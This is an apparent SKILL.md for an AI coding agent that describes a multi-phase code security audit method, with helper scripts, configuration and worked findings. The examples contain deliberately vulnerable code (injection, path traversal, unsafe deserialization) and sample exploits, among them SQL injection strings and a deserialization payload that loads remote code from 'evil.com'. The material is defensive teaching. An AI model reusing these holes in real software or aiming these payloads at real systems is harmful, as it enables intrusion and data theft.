Imported from reason-machines/security-skills (skills/dfyx-code-security-auditor/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill dfyx-code-security-auditor. Copyright stays with the author.

dfyx-code-security-auditor

Skill by ara.so — Security Skills collection.

Expert-level code security auditing based on deep data flow analysis and business logic understanding. Implements a standardized 5-phase white-box static analysis methodology to systematically discover and validate security vulnerabilities in source code.

What This Skill Does

dfyx_code_security_review provides systematic code security auditing through:

• Multi-language support: Java, Python, Go, PHP, JavaScript/Node.js, C/C++, .NET/C#, Ruby, Rust
• 10 security dimensions: Injection, Authentication, Authorization, Deserialization, File Operations, SSRF, Cryptography, Configuration, Business Logic, Supply Chain
• 3-track audit model: Sink-driven (injections), Control-driven (authorization/logic), Config-driven (configurations)
• 5-phase protocol: Reconnaissance → Pattern Matching → Taint Tracking → Validation → Reporting
• Real-world case library: Based on WooYun vulnerability cases (2010-2016)

Installation

This skill is designed to be used within AI coding agents that support custom skills.

For Claude Code:

cd ~/.claude/skills/
git clone https://github.com/EastSword/skill-dfyx_code_security_review.git dfyx-code-security-auditor

For Cursor/Windsurf:

# Add to your .cursorrules or workspace configuration
# Copy the skill directory to your project's .ai/ folder
mkdir -p .ai/skills
git clone https://github.com/EastSword/skill-dfyx_code_security_review.git .ai/skills/dfyx-code-security-auditor

Python Dependencies (for helper scripts):

pip install -r requirements.txt

Core Methodology

5-Phase Audit Protocol

Phase 1: Reconnaissance & Mapping (10%)
├─ Identify tech stack, frameworks, dependencies
├─ Map attack surface, entry points, data flows
└─ Output: Architecture diagram, attack surface inventory

Phase 2: Pattern Matching (30%)
├─ Parallel scanning across 10 dimensions
├─ Grep dangerous functions, missing controls
└─ Output: High-risk areas, candidate vulnerabilities

Phase 3: Deep Taint Tracking (40%)
├─ Trace data flows from sources to sinks
├─ Validate sanitization and security controls
└─ Output: Confirmed vulnerabilities with proof

Phase 4: Validation & Attack Chain (15%)
├─ Build exploit chains, test PoCs
├─ Cross-validate with multiple agents
└─ Output: Validated vulnerabilities with PoC

Phase 5: Structured Reporting (5%)
├─ Generate detailed reports
├─ Provide fix recommendations
└─ Output: Complete audit report

10 Security Dimensions

Audit Modes

Quick Mode (5-10 minutes)

Scope: Critical vulnerabilities, secrets, dependency CVEs
Use: CI/CD pipelines, small projects
Coverage: D1 (Injection), D10 (Supply Chain), Secret detection

Standard Mode (30-60 minutes)

Scope: OWASP Top 10, auth/authz, crypto
Use: Regular audits, pre-deployment checks
Coverage: D1-D8

Deep Mode (1-3 hours)

Scope: Full coverage, attack chains, business logic
Use: Major releases, penetration test prep
Coverage: D1-D10 + attack chain analysis

Usage Patterns

Basic Security Audit

Trigger the audit:

Audit this project for security vulnerabilities using deep mode

Expected workflow:

[MODE] deep
[RECON] Analyzing 874 files...
  Tech Stack: Spring Boot 1.5 + Apache Shiro 1.6 + JPA + Freemarker
  Entry Points: 43 REST endpoints, 12 template views
  Attack Surface: User input in 28 endpoints, file upload in 3

[PLAN] Deploying 5 parallel agents:
  Agent-D1: Injection vulnerabilities
  Agent-D234: Auth + Authz + Deserialization
  Agent-D567: File ops + SSRF + Crypto
  Agent-D89: Config + Business logic
  Agent-D10: Supply chain

Estimated: 125 turns, 90-120 minutes
Proceed? (yes/no)

Language-Specific Patterns

Java/Spring Boot Audit

// The skill will identify patterns like:

// VULNERABLE: SQL Injection
@GetMapping("/users")
public List<User> getUsers(@RequestParam String name) {
    String sql = "SELECT * FROM users WHERE name = '" + name + "'";
    return jdbcTemplate.query(sql, new UserRowMapper());
}

// VULNERABLE: Missing authorization
@GetMapping("/admin/users/{id}")
public User getUser(@PathVariable Long id) {
    return userRepository.findById(id).orElseThrow();
    // No @PreAuthorize check
}

// VULNERABLE: Insecure deserialization
@PostMapping("/import")
public void importData(@RequestBody byte[] data) {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object obj = ois.readObject(); // Dangerous!
}

Audit command:

Review this Spring Boot application for injection flaws, missing authorization checks, and unsafe deserialization

Python/Flask Audit

# The skill will detect:

# VULNERABLE: Command injection
@app.route('/ping')
def ping():
    host = request.args.get('host')
    result = os.system(f'ping -c 4 {host}')  # No sanitization
    return str(result)

# VULNERABLE: SQL injection
@app.route('/search')
def search():
    query = request.args.get('q')
    sql = f"SELECT * FROM products WHERE name LIKE '%{query}%'"
    return db.execute(sql).fetchall()

# VULNERABLE: Path traversal
@app.route('/download/<path:filename>')
def download(filename):
    return send_file(f'/uploads/{filename}')  # No path validation

Audit command:

Scan this Flask app for command injection and path traversal vulnerabilities

PHP/Laravel Audit

// The skill will identify:

// VULNERABLE: SQL injection via raw queries
public function search(Request $request) {
    $keyword = $request->input('keyword');
    $users = DB::select("SELECT * FROM users WHERE name = '$keyword'");
    return view('results', ['users' => $users]);
}

// VULNERABLE: Mass assignment
public function updateProfile(Request $request) {
    $user = User::find($request->user_id);
    $user->update($request->all()); // Can modify is_admin, role, etc.
}

// VULNERABLE: Insecure file upload
public function upload(Request $request) {
    $file = $request->file('avatar');
    $path = $file->store('public/avatars'); // No type validation
}

Audit command:

Audit this Laravel application for SQL injection and mass assignment issues

JavaScript/Node.js Audit

// The skill will detect:

// VULNERABLE: NoSQL injection
app.get('/login', async (req, res) => {
  const { username, password } = req.query;
  const user = await User.findOne({ 
    username: username, 
    password: password  // Can be {"$ne": null}
  });
});

// VULNERABLE: Command injection
app.post('/convert', (req, res) => {
  const { file } = req.body;
  exec(`convert ${file} output.png`, (err, stdout) => {
    res.send(stdout);
  });
});

// VULNERABLE: Prototype pollution
app.post('/merge', (req, res) => {
  const obj = {};
  merge(obj, req.body); // Can set __proto__
});

Audit command:

Check this Express app for NoSQL injection and prototype pollution

Helper Scripts

Pattern Scanner

# Scan for dangerous patterns
python scripts/pattern_scanner.py /path/to/project --language java --output patterns.json

# Focus on specific dimensions
python scripts/pattern_scanner.py /path/to/project --dimensions D1,D4,D5

Data Flow Analyzer

# Trace data flows for specific sources
python scripts/data_flow_analyzer.py /path/to/project \
  --source "request.getParameter" \
  --sink "executeQuery"

# Output taint paths
python scripts/data_flow_analyzer.py /path/to/project \
  --output dataflow.json \
  --visualize

Secret Finder

# Detect hardcoded secrets
python scripts/secret_finder.py /path/to/project

# Custom patterns
python scripts/secret_finder.py /path/to/project \
  --patterns custom_patterns.yaml \
  --entropy-threshold 4.5

Dependency Analyzer

# Check for vulnerable dependencies
python scripts/dependency_analyzer.py /path/to/project

# Specific package managers
python scripts/dependency_analyzer.py /path/to/project \
  --package-manager maven,npm \
  --severity high,critical

Full Audit with Report

# Complete audit pipeline
python scripts/code_scan.py /path/to/project \
  --mode deep \
  --output results.json

# Generate formatted report
python scripts/report_generator.py \
  --input results.json \
  --output audit_report.md \
  --template templates/report-templates/web-app-report-template.md

Configuration

Audit Configuration File

Create .dfyx_audit.yaml in your project root:

# Audit configuration
mode: deep  # quick, standard, deep

# Scope
scope:
  include:
    - "src/**/*.java"
    - "controllers/**/*.py"
  exclude:
    - "test/**"
    - "vendor/**"
    - "node_modules/**"

# Dimensions to cover
dimensions:
  - D1  # Injection
  - D2  # Authentication
  - D3  # Authorization
  - D4  # Deserialization
  - D5  # File Operations
  - D6  # SSRF
  - D7  # Cryptography
  - D8  # Configuration
  - D9  # Business Logic
  - D10 # Supply Chain

# Sensitivity levels
severity_threshold: medium  # low, medium, high, critical

# Framework-specific settings
frameworks:
  spring:
    check_shiro_bypass: true
    check_spel_injection: true
  django:
    check_template_injection: true
    check_orm_injection: true

# Anti-hallucination settings
validation:
  require_evidence: true
  require_full_path: true
  require_poc: true  # For high/critical findings
  cross_validate: true  # Multi-agent validation

# Reporting
report:
  format: markdown  # markdown, json, html
  include_fix_examples: true
  include_attack_chains: true
  language: en  # en, zh

Environment Variables

# For Docker-based verification
export DOCKER_HOST=unix:///var/run/docker.sock

# For dependency vulnerability scanning
export NVD_API_KEY=${NVD_API_KEY}  # NIST NVD API key
export GITHUB_TOKEN=${GITHUB_TOKEN}  # For GitHub Advisory Database

# For custom tool integration
export SEMGREP_RULES_PATH=/path/to/custom/rules
export CODEQL_DATABASE_PATH=/path/to/codeql/db

Common Audit Scenarios

Pre-commit Security Check

# Quick mode for fast feedback
python scripts/code_scan.py . --mode quick --staged-only

# In Git hooks (.git/hooks/pre-commit)
#!/bin/bash
python scripts/code_scan.py . --mode quick --fail-on critical,high
if [ $? -ne 0 ]; then
  echo "Security issues found. Commit aborted."
  exit 1
fi

CI/CD Integration

# .github/workflows/security-audit.yml
name: Security Audit
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.11'
      
      - name: Install dependencies
        run: pip install -r requirements.txt
      
      - name: Run security audit
        run: |
          python scripts/code_scan.py . \
            --mode standard \
            --output security_report.json \
            --fail-on critical
      
      - name: Upload results
        uses: actions/upload-artifact@v3
        with:
          name: security-report
          path: security_report.json

API Security Review

User request:

Review these API endpoints for authentication and authorization issues:

/api/v1/users/{id}
/api/v1/admin/settings
/api/v1/orders/{orderId}/cancel

Skill workflow:

1. Maps all endpoints and their HTTP methods
2. Checks for authentication filters/middleware
3. Validates authorization logic for each endpoint
4. Tests for IDOR and privilege escalation
5. Reports missing controls

Database Layer Audit

User request:

Audit database queries for SQL injection in this repository

Skill process:

[Phase 1] Identifying database frameworks:
  - MyBatis 3.5.x (XML mappers + annotations)
  - JdbcTemplate (Spring)
  - Native JDBC in 3 files

[Phase 2] Pattern matching:
  - Found 45 parameterized queries (SAFE)
  - Found 8 string concatenations (REVIEW)
  - Found 2 dynamic ORDER BY (HIGH RISK)

[Phase 3] Taint analysis:
  File: UserMapper.xml:45
  Source: request.getParameter("sortBy")
  Path: controller → service → mapper
  Sink: ORDER BY ${sortBy}
  Sanitization: NONE
  Verdict: SQL INJECTION (Critical)

Vulnerability Detection Examples

Example 1: SQL Injection with Taint Tracking

Code:

// UserController.java
@GetMapping("/search")
public List<User> search(@RequestParam String keyword) {
    return userService.searchByName(keyword);
}

// UserService.java
public List<User> searchByName(String name) {
    return userRepository.findByNameLike(name);
}

// UserRepository.java
@Query(value = "SELECT * FROM users WHERE name LIKE '%" + 
               ":name" + "%'", nativeQuery = true)
List<User> findByNameLike(@Param("name") String name);

Audit output:

## [CRITICAL] SQL Injection in User Search

**Location:** `UserRepository.java:15`

**Data Flow:**
1. Source: `UserController.search()` - user input from `@RequestParam`
2. Propagation: `keyword` → `userService.searchByName(keyword)`
3. Sink: `@Query` with string concatenation in `findByNameLike()`

**Vulnerability:**
String concatenation in `@Query` bypasses parameter binding.

**Exploit:**

GET /search?keyword=admin'%20OR%20'1'='1 → SELECT * FROM users WHERE name LIKE '%admin' OR '1'='1%'

**Fix:**
```java
@Query(value = "SELECT * FROM users WHERE name LIKE %:name%", nativeQuery = true)
List<User> findByNameLike(@Param("name") String name);

### Example 2: Missing Authorization Check

**Code:**
```python
@app.route('/api/orders/<int:order_id>', methods=['DELETE'])
@login_required
def cancel_order(order_id):
    order = Order.query.get_or_404(order_id)
    order.status = 'cancelled'
    db.session.commit()
    return {'message': 'Order cancelled'}

Audit output:

## [HIGH] Horizontal Privilege Escalation - Missing Authorization

**Location:** `api/orders.py:45`

**Issue:**
Endpoint checks authentication (`@login_required`) but NOT authorization.
Any logged-in user can cancel ANY order.

**Attack:**
```bash
# User A (ID=10) cancels User B's order (ID=999)
curl -X DELETE https://api.example.com/api/orders/999 \
  -H "Authorization: Bearer <user_a_token>"

Fix:

@app.route('/api/orders/<int:order_id>', methods=['DELETE'])
@login_required
def cancel_order(order_id):
    order = Order.query.get_or_404(order_id)
    
    # Authorization check
    if order.user_id != current_user.id:
        abort(403, "Not authorized to cancel this order")
    
    order.status = 'cancelled'
    db.session.commit()
    return {'message': 'Order cancelled'}

### Example 3: Unsafe Deserialization

**Code:**
```java
@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody String data) {
    try {
        byte[] bytes = Base64.getDecoder().decode(data);
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(bytes)
        );
        Object obj = ois.readObject();
        processImport(obj);
        return ResponseEntity.ok("Import successful");
    } catch (Exception e) {
        return ResponseEntity.badRequest().body(e.getMessage());
    }
}

Audit output:

## [CRITICAL] Unsafe Deserialization → RCE

**Location:** `ImportController.java:23`

**Vulnerability:**
Deserializes untrusted user input without type validation.

**Gadget Chain (Spring Framework):**

org.springframework.context.support.FileSystemXmlApplicationContext → Load malicious XML config → Execute arbitrary code

**Exploit:**
```java
// Attacker creates malicious payload
FileSystemXmlApplicationContext ctx = 
    new FileSystemXmlApplicationContext("http://evil.com/exploit.xml");

byte[] payload = serialize(ctx);
String encoded = Base64.getEncoder().encodeToString(payload);

// Send to victim
POST /import
Content-Type: application/json

"<base64_payload>"

Fix - Option 1 (Whitelist):

@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody String data) {
    try {
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(Base64.getDecoder().decode(data))
        ) {
            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc) 
                    throws IOException, ClassNotFoundException {
                if (!desc.getName().equals("com.example.ImportData")) {
                    throw new InvalidClassException("Unauthorized class");
                }
                return super.resolveClass(desc);
            }
        };
        // ...

Fix - Option 2 (Use JSON):

@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody ImportDataDTO dto) {
    // Spring auto-deserializes from JSON (safe)
    processImport(dto);
    return ResponseEntity.ok("Import successful");
}

## Troubleshooting

### Issue: Too Many False Positives

**Solution:**
```yaml
# In .dfyx_audit.yaml
validation:
  require_evidence: true
  require_full_path: true
  require_poc: true
  cross_validate: true  # Enable multi-agent validation

# Also specify framework-aware sanitization
frameworks:
  spring:
    sanitizers:
      - "StringEscapeUtils.escapeSql"
      - "@Valid annotation"
  django:
    sanitizers:
      - "escape()"
      - "mark_safe()"

Or in prompt:

Audit this code but only report vulnerabilities with:
1. Complete taint paths from source to sink
2. Proof that no sanitization exists
3. Working PoC or exploit scenario

Issue: Missing Framework-Specific Vulnerabilities

Solution:

The audit missed Shiro authentication bypass. Please:
1. Check for Shiro version < 1.7.0
2. Look for servlet patterns like /admin/* vs /admin/;/dashboard
3. Review FilterChainDefinition configurations
4. Test for path traversal in URL patterns

Issue: Slow Audit Performance

Solution:

# Use quick mode for initial scan
python scripts/code_scan.py . --mode quick

# Then deep dive into high-risk areas
python scripts/code_scan.py src/controllers/ --mode deep --dimensions D1,D3

# Exclude third-party code
python scripts/code_scan.py . --exclude "vendor/**,node_modules/**"

Issue: Need Custom Detection Rules

Create custom rules:

# custom_rules.yaml
rules:
  - id: custom-ldap-injection
    pattern: |
      new InitialDirContext()
      ...
      .search($FILTER, ...)
    where:
      - $FILTER: user_controlled
    severity: high
    message: "Potential LDAP injection"
    
  - id: custom-jwt-alg-none
    pattern: |
      JWT.require(Algorithm.none())
    severity: critical
    message: "JWT algorithm 'none' allows signature bypass"

Use in audit:

python scripts/code_scan.py . --custom-rules custom_rules.yaml

Advanced Features

Attack Chain Analysis

Trigger:

Find attack chains that combine multiple vulnerabilities to achieve RCE

Output example:

## Attack Chain: IDOR + SQL Injection → Data Exfiltration

**Chain:**
1. IDOR in `/api/users/{id}/profile` (Missing authz check)
2. SQL Injection in profile's `bio` field update
3. Stored XSS in profile view (inadequate encoding)

**Exploitation:**
```bash
# Step 1: Access admin profile via IDOR
GET /api/users/1/profile
→ Returns admin data

# Step 2: Inject SQL in bio field
PUT /api/users/1/profile
{"bio": "' UNION SELECT password FROM users--"}

# Step 3: Admin views their profile, sees all passwords
# Step 4: Stored XSS steals admin session

Impact: Complete account takeover + data breach

### Docker-Based Verification

**Enable PoC validation:**
```bash
# Skill will automatically:
# 1. Spin up Docker container with vulnerable code
# 2. Execute exploit
# 3. Verify success
# 4. Tear down container

python scripts/vulnerability_validator.py \
  --vulnerability-id V-2024-001 \
  --docker-verify \
  --container-timeout 300

Compliance Mapping

Map findings to frameworks:

Generate audit report mapped to OWASP ASVS 4.0 and PCI DSS 4.0

Output includes:

## Compliance Summary

| Finding | OWASP ASVS | PCI DSS | CWE |
|---------|------------|---------|-----|
| SQL Injection in login | V5.3.4 | 6.5.1 | CWE-89 |
| Missing authz in API | V4.1.3 | 6.5.8 | CWE-639 |
| Weak crypto (MD5) | V6.2.1 | 6.5.3 | CWE-327 |

Best Practices

1. Run audits early and often

   • Quick mode in pre-commit hooks
   • Standard mode in CI/CD
   • Deep mode before releases

2. Prioritize by exploitability

   • Critical + easy to exploit → fix immediately
   • High + complex → schedule fix
   • Medium/Low → backlog

3. Validate in staging

   • Test PoCs in isolated environment
   • Verify fixes don't break functionality
   • Re-audit after fixes

4. Maintain audit history

   • Track findings over time
   • Measure remediation velocity
   • Identify recurring patterns

5. Customize for your stack

   • Add framework-specific rules
   • Define custom sanitizers
   • Build internal knowledge base

References

• Knowledge Base: resources/knowledge/ - 13 methodology documents
• WooYun Cases: resources/wooyun/ - Real-world vulnerability examples
• Detection Rules: resources/rules/ - Language-specific patterns
• Report Templates: templates/report-templates/ - Standardized outputs
• Example Audits: examples/ - Complete audit walkthroughs

Security Notice: This skill is for authorized security testing and code review only. Always obtain proper authorization before auditing code or systems you don't own.